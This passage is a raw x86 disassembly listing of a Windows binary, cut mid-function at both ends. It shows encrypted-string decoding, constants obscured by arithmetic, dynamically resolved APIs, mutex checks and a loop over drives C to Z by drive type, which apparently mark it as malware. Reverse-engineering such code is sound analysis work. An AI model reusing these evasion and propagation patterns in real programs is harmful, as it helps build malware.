		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100131A0h
		add	edx, 1Dh
		cmp	eax, edx
		jle	short loc_4191A5
		movsx	edx, word ptr ds:10013240h
		mov	ecx, ds:10013224h
		lea	edx, [edx+ecx+29h]
		cmp	eax, edx
		jl	short loc_4191FF


loc_4191A5:				; CODE XREF: sub_418999+7F5j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:10013164h
		add	edx, 35h
		add	edx, ds:10013168h
		cmp	eax, edx
		jle	short loc_4191CD
		movsx	edx, word ptr ds:10013260h
		add	edx, 3Fh
		cmp	eax, edx
		jl	short loc_4191FF


loc_4191CD:				; CODE XREF: sub_418999+824j
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word ptr ds:100131A4h
		mov	ecx, ds:100131E4h
		lea	edx, [edx+ecx+6Fh]
		cmp	eax, edx
		jle	short loc_419209
		mov	edx, ds:10013138h
		add	edx, 76h
		movsx	ecx, word ptr ds:1001324Ch
		add	edx, ecx
		cmp	eax, edx
		jge	short loc_419209


loc_4191FF:				; CODE XREF: sub_418999+80Aj
					; sub_418999+832j
		mov	[ebp+var_60EAC], 1


loc_419209:				; CODE XREF: sub_418999+7B9j
					; sub_418999+84Ej ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_4192D3
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word ptr ds:10013240h
		add	edx, ds:10013200h
		sub	edx, 6
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:1001321Ch
		add	edx, 0Fh
		add	edx, ds:10013128h
		cmp	eax, edx
		jle	short loc_41926D
		mov	edx, ds:100130D4h
		add	edx, 26h
		add	edx, ds:10013270h
		cmp	eax, edx
		jl	short loc_4192C9


loc_41926D:				; CODE XREF: sub_418999+8BFj
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:1001317Ch
		add	edx, 31h
		movsx	ecx, word ptr ds:10013100h
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_41929F
		movsx	edx, word ptr ds:10013174h
		mov	ecx, ds:100131A8h
		lea	edx, [edx+ecx+38h]
		cmp	eax, edx
		jl	short loc_4192C9


loc_41929F:				; CODE XREF: sub_418999+8EFj
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100130A0h
		add	edx, 74h
		movsx	ecx, word ptr ds:10013098h
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_4192D3
		mov	edx, ds:10013200h
		add	edx, 7Ah
		cmp	eax, edx
		jge	short loc_4192D3


loc_4192C9:				; CODE XREF: sub_418999+8D2j
					; sub_418999+904j
		mov	[ebp+var_60EAC], 1


loc_4192D3:				; CODE XREF: sub_418999+79Aj
					; sub_418999+87Cj ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_4192FC
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_4192FC:				; CODE XREF: sub_418999+941j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, ds:100131CCh
		add	edx, 1Ah
		cmp	eax, edx
		jnz	short loc_419321
		mov	[ebp+var_60EAC], 1


loc_419321:				; CODE XREF: sub_418999+97Cj
		inc	[ebp+var_40E9C]


loc_419327:				; CODE XREF: sub_418999+74Bj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_4190E9
		mov	eax, [ebp+var_60EB4]
		mov	edx, ds:100130F4h
		add	edx, ds:10013138h
		sub	edx, 7
		mov	[ebp+eax+var_50E9B], dl


loc_419355:				; CODE XREF: sub_418999+4FDj
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_419361:				; CODE XREF: sub_418999+4D9j
		and	[ebp+var_60EB0], 0
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	10014A88h
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013158h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_419675
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:10013174h
		movsx	edx, word ptr ds:10013264h
		add	eax, edx
		sub	eax, 10h
		cmp	ebx, eax
		jnz	loc_419669
		mov	eax, ds:100130ACh
		dec	eax
		mov	[ebp-50EA0h], eax
		jmp	loc_419657
; ---------------------------------------------------------------------------


loc_4193D7:				; CODE XREF: sub_418999+CCAj
		mov	eax, ds:100131ACh
		sub	eax, 5
		push	eax
		call	dword ptr ds:10012630h
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp-50EA0h]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70EF8]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		mov	eax, ds:100131E8h
		movsx	edx, word ptr ds:10013150h
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_419651
		and	[ebp+var_70EF4], 0
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	10014A78h
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013128h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_419645
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, ds:10013168h
		add	eax, ds:10013280h
		sub	eax, 4
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4194BB
		cmp	[ebp+var_60EF0], 8
		jz	short loc_4194C0


loc_4194BB:				; CODE XREF: sub_418999+B16j
		jmp	loc_419639
; ---------------------------------------------------------------------------


loc_4194C0:				; CODE XREF: sub_418999+B20j
		movsx	eax, word ptr ds:1001322Ch
		add	eax, ds:10013140h
		movsx	edx, word ptr ds:10013180h
		sub	edx, 4
		mov	byte ptr [ebp+eax+var_70F00+1],	dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_41C841
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F0C], edi
		push	[ebp+var_60EE8]
		call	dword ptr ds:10012BA0h
		mov	eax, ds:100131E8h
		movsx	edx, word ptr ds:100130BCh
		add	eax, edx
		movsx	eax, [ebp+eax+var_70EF9]
		mov	edx, ds:100131F4h
		add	edx, ds:100131F8h
		sub	edx, 7
		cmp	eax, edx
		jz	loc_419639
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_41DF98
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, ds:10013254h
		movsx	edx, word ptr ds:100131DCh
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, ds:10013158h
		mov	edx, ds:10013198h
		sub	edx, 2
		mov	byte ptr [ebp+eax+var_71F10], dl
		or	ebx, ebx
		jnz	short loc_4195C4
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_4195C4
		lea	eax, [ebp+var_71F07]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_41C841
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F10], edi
		push	[ebp+var_60EE8]
		call	dword ptr ds:10012BA0h


loc_4195C4:				; CODE XREF: sub_418999+BF5j
					; sub_418999+BFFj
		push	10014957h
		call	sub_41C914
		push	dword ptr [ebp-50EA0h]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10012634h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_71F07]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D020h
		push	10014952h
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 34h


loc_419639:				; CODE XREF: sub_418999:loc_4194BBj
					; sub_418999+B96j
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_419645:				; CODE XREF: sub_418999+AE4j
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_419651:				; CODE XREF: sub_418999+AAFj
		inc	dword ptr [ebp-50EA0h]


loc_419657:				; CODE XREF: sub_418999+A39j
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp-50EA0h], eax
		jb	loc_4193D7


loc_419669:				; CODE XREF: sub_418999+A27j
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_419675:				; CODE XREF: sub_418999+9F7j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, ds:100131ECh
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_4196DC
		push	1001494Ch
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D020h
		push	10014947h
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D020h
		add	esp, 20h


loc_4196DC:				; CODE XREF: sub_418999+46Fj
					; sub_418999+CFAj
		inc	[ebp+var_30E50]


loc_4196E2:				; CODE XREF: sub_418999+3F9j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_418D97


loc_4196F4:				; CODE XREF: sub_418999+28Dj
					; sub_418999+30Dj ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_418BE1
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1001262Ch
		pop	ecx
		push	[ebp+var_30E44]
		call	dword ptr ds:10012BA0h
		push	[ebp+var_30E48]
		call	dword ptr ds:10012BA0h


loc_419732:				; CODE XREF: sub_418999+1EEj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41973E:				; CODE XREF: sub_418999+1C7j
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41974A:				; CODE XREF: sub_418999+1A4j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_419756:				; CODE XREF: sub_418999+C7j
					; sub_418999:loc_418AB4j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_419762:				; CODE XREF: sub_418999+61j
					; sub_418999+A2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418999	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419767	proc near		; CODE XREF: sub_41AFF0+94p
					; sub_41AFF0+CEp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_4197A8
		cmp	al, 79h
		jz	short loc_4197A8
		cmp	al, 75h
		jz	short loc_4197A8
		cmp	al, 69h
		jz	short loc_4197A8
		cmp	al, 6Fh
		jz	short loc_4197A8
		cmp	al, 61h
		jnz	short loc_4197AC


loc_4197A8:				; CODE XREF: sub_419767+2Bj
					; sub_419767+2Fj ...
		add	[ebp+arg_0], 1


loc_4197AC:				; CODE XREF: sub_419767+3Fj
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_4197B6
		add	[ebp+arg_0], 1


loc_4197B6:				; CODE XREF: sub_419767+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_419767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197BE	proc near		; CODE XREF: .data:0041BD80p

var_100C	= byte ptr -100Ch
var_1004	= byte ptr -1004h
var_1003	= byte ptr -1003h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		push	10014935h
		call	sub_41C914
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_0]
		call	dword ptr ds:1001263Ch
		mov	edi, eax
		or	edi, edi
		jnz	short loc_4197F0
		mov	edi, [ebp+arg_0]


loc_4197F0:				; CODE XREF: sub_4197BE+2Dj
		push	1001491Fh
		call	sub_41C914
		pop	ecx
		push	0
		push	eax
		push	0
		push	edi
		call	dword ptr ds:1001263Ch
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	dword ptr ds:1000D014h
		movsx	eax, word ptr ds:100131B4h
		add	eax, ds:10013188h
		cmp	[ebp+eax+var_1003], 20h
		jnz	short loc_41984E
		mov	eax, ds:10013194h
		add	eax, ds:100131C4h
		cmp	[ebp+eax+var_100C], 20h
		jz	loc_4198E5


loc_41984E:				; CODE XREF: sub_4197BE+75j
		mov	eax, ds:100130C8h
		cmp	[ebp+eax+var_FFF], 68h
		jnz	short loc_419874
		movsx	eax, word ptr ds:10013230h
		add	eax, ds:10013188h
		cmp	[ebp+eax+var_1004], 74h
		jz	short loc_4198E5


loc_419874:				; CODE XREF: sub_4197BE+9Dj
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_41987D:				; CODE XREF: sub_4197BE+C4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41987D
		mov	ebx, ds:10013274h
		add	ebx, 0Ch
		cmp	eax, ebx
		jb	short loc_4198E5
		push	1001491Ah
		call	sub_41C914
		mov	esi, ds:10013128h
		sub	esi, 5
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_4188C2
		add	esp, 10h
		movsx	ebx, word ptr ds:100131A4h
		add	ebx, 0FFF8h
		cmp	eax, ebx
		jnz	short loc_4198E5
		push	10014914h
		call	sub_41C914
		pop	ecx
		push	eax
		mov	esi, ds:10013214h
		sub	esi, 9
		push	esi
		push	0Ch
		push	edi
		call	dword ptr ds:1000D014h


loc_4198E5:				; CODE XREF: sub_4197BE+8Aj
					; sub_4197BE+B4j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4197BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198EA	proc near		; CODE XREF: .data:0041F032p
		push	edi
		push	10014904h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132A8h, eax
		test	eax, eax
		jnz	short loc_41991D
		push	100148F4h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132A8h, eax


loc_41991D:				; CODE XREF: sub_4198EA+1Aj
		push	100148E2h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A8h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D044h, eax
		push	100148D1h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A8h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012BA0h, eax
		push	100148C1h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A8h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012BB0h, eax
		push	100148B2h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A8h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D038h, eax
		push	100148A2h
		call	sub_41C914
		add	esp, 14h
		push	eax
		push	dword ptr ds:100132A8h
		call	dword ptr ds:1000F1F8h
		mov	ds:10010254h, eax
		pop	edi
		retn
sub_4198EA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10012BA8h
		call	dword ptr ds:1000FA3Ch
		mov	eax, ds:10012BA8h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	10014AC8h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_4199F1
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_419A39
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: .data:004199DFj
		push	10014A48h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_419A11
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_419A39
; ---------------------------------------------------------------------------


loc_419A11:				; CODE XREF: .data:004199FFj
		push	10014A18h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_419A31
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_419A39
; ---------------------------------------------------------------------------


loc_419A31:				; CODE XREF: .data:00419A1Fj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_419A39:				; CODE XREF: .data:004199EFj
					; .data:00419A0Fj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		dd 4001B8h, 18C280h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+8]
		push	10004490h
		push	dword ptr fs:0
		mov	fs:0, esp
		push	1001489Ah
		call	sub_41C914
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp-0Ah]
		push	esi
		call	dword ptr ds:10012634h
		add	esp, 10h


loc_419A7E:				; CODE XREF: .data:00419AA3j
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp-0Ah]
		push	eax
		call	sub_41D764
		mov	eax, ds:1001323Ch
		add	eax, ds:10013108h
		sub	eax, 0Bh
		push	eax
		call	dword ptr ds:10012630h
		add	esp, 10h
		jmp	short loc_419A7E
; ---------------------------------------------------------------------------
		db 5Fh,	5Eh, 0C9h
		db 0C2h, 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_419AAB	proc near		; CODE XREF: .data:0041F03Cp
		push	edi
		push	1001488Ch
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132B0h, eax
		test	eax, eax
		jnz	short loc_419ADE
		push	1001487Eh
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132B0h, eax


loc_419ADE:				; CODE XREF: sub_419AAB+1Aj
		cmp	dword ptr ds:100132B0h,	0
		jz	short loc_419B01
		mov	eax, ds:10013248h
		add	eax, 5
		push	eax
		push	dword ptr ds:100132B0h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D01Ch, eax


loc_419B01:				; CODE XREF: sub_419AAB+3Aj
		pop	edi
		retn
sub_419AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B03	proc near		; CODE XREF: .data:loc_41F052p
					; .data:00420EACp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		movsx	eax, word ptr ds:10013150h
		mov	edi, eax
		add	edi, ds:100130B8h
		sub	edi, 9
		jmp	short loc_419B91
; ---------------------------------------------------------------------------


loc_419B22:				; CODE XREF: sub_419B03+A1j
		push	10014872h
		call	sub_41C914
		mov	[ebp+var_108], eax
		push	10014868h
		call	sub_41C914
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10012634h
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	1F0001h
		call	dword ptr ds:10011648h
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_419B90
		push	eax
		call	dword ptr ds:10011654h
		mov	eax, ds:100130B8h
		dec	eax
		cmp	edi, eax
		jnz	short loc_419B89
		xor	eax, eax
		inc	eax
		jmp	short loc_419BAC
; ---------------------------------------------------------------------------


loc_419B89:				; CODE XREF: sub_419B03+7Fj
		mov	eax, 2
		jmp	short loc_419BAC
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: sub_419B03+6Ej
		inc	edi


loc_419B91:				; CODE XREF: sub_419B03+1Dj
		mov	eax, ds:10013234h
		add	eax, 5Ch
		movsx	edx, word ptr ds:10013178h
		add	eax, edx
		cmp	edi, eax
		jb	loc_419B22
		xor	eax, eax


loc_419BAC:				; CODE XREF: sub_419B03+84j
					; sub_419B03+8Bj
		pop	edi
		pop	esi
		leave
		retn
sub_419B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BB0	proc near		; CODE XREF: .data:0041F04Bp

var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	[ebp+var_104], 0FFh
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	dword ptr ds:1000F5F0h
		push	1001485Eh
		call	sub_41C914
		mov	edi, ds:10013138h
		add	edi, ds:100130DCh
		sub	edi, 2
		push	edi
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_4188C2
		add	esp, 10h
		movsx	esi, word ptr ds:100131F0h
		add	esi, 0FFFCh
		cmp	eax, esi
		jz	short loc_419C19
		xor	eax, eax
		inc	eax
		jmp	short loc_419C60
; ---------------------------------------------------------------------------


loc_419C19:				; CODE XREF: sub_419BB0+62j
		push	10014852h
		call	sub_41C914
		mov	edi, ds:100131D0h
		add	edi, ds:100130A0h
		sub	edi, 0Ah
		push	edi
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_4188C2
		add	esp, 10h
		mov	esi, ds:10013258h
		add	esi, 0FFF9h
		add	esi, ds:10013270h
		cmp	eax, esi
		jz	short loc_419C5E
		xor	eax, eax
		inc	eax
		jmp	short loc_419C60
; ---------------------------------------------------------------------------


loc_419C5E:				; CODE XREF: sub_419BB0+A7j
		xor	eax, eax


loc_419C60:				; CODE XREF: sub_419BB0+67j
					; sub_419BB0+ACj
		pop	edi
		pop	esi
		leave
		retn
sub_419BB0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		movsx	eax, word ptr ds:1001327Ch
		add	eax, 0C4h
		cmp	[ebp+0Ch], eax
		jnz	loc_419D93
		mov	word ptr [ebp-18h], 3
		lea	eax, [ebp-10h]
		push	eax
		mov	eax, ds:10013394h
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp-4], eax
		movsx	eax, word ptr ds:1001327Ch
		add	eax, ds:100130B4h
		sub	eax, 0Ch
		cmp	[ebp-4], eax
		jnz	loc_419D8F
		dec	dword ptr [ebp-10h]
		lea	eax, [ebp-1Ch]
		push	eax
		lea	esi, [ebp-18h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, ds:10013394h
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp-4], eax
		mov	eax, ds:1001326Ch
		sub	eax, 9
		cmp	[ebp-4], eax
		jnz	loc_419D8F
		lea	eax, [ebp-20h]
		push	eax
		push	10014AD8h
		mov	eax, [ebp-1Ch]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp-4], eax
		mov	eax, ds:10013254h
		add	eax, ds:10013224h
		sub	eax, 0Eh
		cmp	[ebp-4], eax
		jnz	short loc_419D86
		lea	eax, ds:10013390h
		mov	[ebp-8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp-24h]
		push	eax
		push	10014A18h
		mov	eax, [ebp-8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp-4], eax
		mov	eax, ds:100130A0h
		sub	eax, 4
		cmp	[ebp-4], eax
		jnz	short loc_419D74
		lea	eax, [ebp-2Ch]
		push	eax
		push	10014A18h
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-20h]
		call	sub_41FA4A
		add	esp, 10h
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_419D74:				; CODE XREF: .data:00419D4Fj
		mov	eax, [ebp-8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp-20h]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_419D86:				; CODE XREF: .data:00419D1Aj
		mov	eax, [ebp-1Ch]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_419D8F:				; CODE XREF: .data:00419CB4j
					; .data:00419CEAj
		xor	eax, eax
		jmp	short loc_419D98
; ---------------------------------------------------------------------------


loc_419D93:				; CODE XREF: .data:00419C83j
		mov	eax, 80020003h


loc_419D98:				; CODE XREF: .data:00419D91j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_419DA2:				; CODE XREF: .data:00419DD2j
		movsx	eax, word ptr ds:1001327Ch
		sub	eax, 4
		push	eax
		call	dword ptr ds:10012630h
		pop	ecx
		movsx	eax, word ptr ds:10013218h
		add	eax, ds:100131ACh
		sub	eax, 0Ah
		push	eax
		push	10004912h
		push	0
		call	dword ptr ds:1000D048h
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------
		dd 4C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_419DF1
; ---------------------------------------------------------------------------


loc_419DE8:				; CODE XREF: .data:00419DF4j
		and	dword ptr ds:10012790h[esi*4], 0
		inc	esi


loc_419DF1:				; CODE XREF: .data:00419DE6j
		cmp	esi, 5Ah
		jbe	short loc_419DE8


loc_419DF6:				; CODE XREF: .data:00419F6Aj
		mov	edi, 43h
		jmp	loc_419F51
; ---------------------------------------------------------------------------


loc_419E00:				; CODE XREF: .data:00419F54j
		mov	eax, ds:100131E8h
		dec	eax
		push	eax
		call	dword ptr ds:10012630h
		push	1001484Ah
		call	sub_41C914
		push	edi
		push	eax
		lea	ebx, [ebp-0Eh]
		push	ebx
		call	dword ptr ds:10012634h
		add	esp, 14h
		cmp	dword ptr ds:10012790h[edi*4], 0
		jz	short loc_419E6A
		mov	eax, ds:1001320Ch
		sub	eax, 6
		mov	[ebp-14h], eax
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr ds:10012790h[edi*4]
		call	dword ptr ds:10012650h
		cmp	dword ptr [ebp-14h], 103h
		jz	short loc_419E6A
		push	dword ptr ds:10012790h[edi*4]
		call	dword ptr ds:10011654h
		and	dword ptr ds:10012790h[edi*4], 0


loc_419E6A:				; CODE XREF: .data:00419E2Ej
					; .data:00419E53j
		lea	eax, [ebp-0Eh]
		push	eax
		call	dword ptr ds:10012668h
		mov	[ebp-4], eax
		cmp	eax, 3
		jz	short loc_419EB2
		cmp	eax, 4
		jz	short loc_419EB2
		cmp	eax, 2
		jz	short loc_419EB2
		cmp	dword ptr ds:10012790h[edi*4], 0
		jz	loc_419F50
		mov	ebx, ds:100130F8h
		movsx	edx, word ptr ds:100130E8h
		add	ebx, edx
		sub	ebx, 8
		mov	ds:1000F630h[edi*4], ebx
		jmp	loc_419F50
; ---------------------------------------------------------------------------


loc_419EB2:				; CODE XREF: .data:00419E7Aj
					; .data:00419E7Fj ...
		push	1
		call	dword ptr ds:1000E000h
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
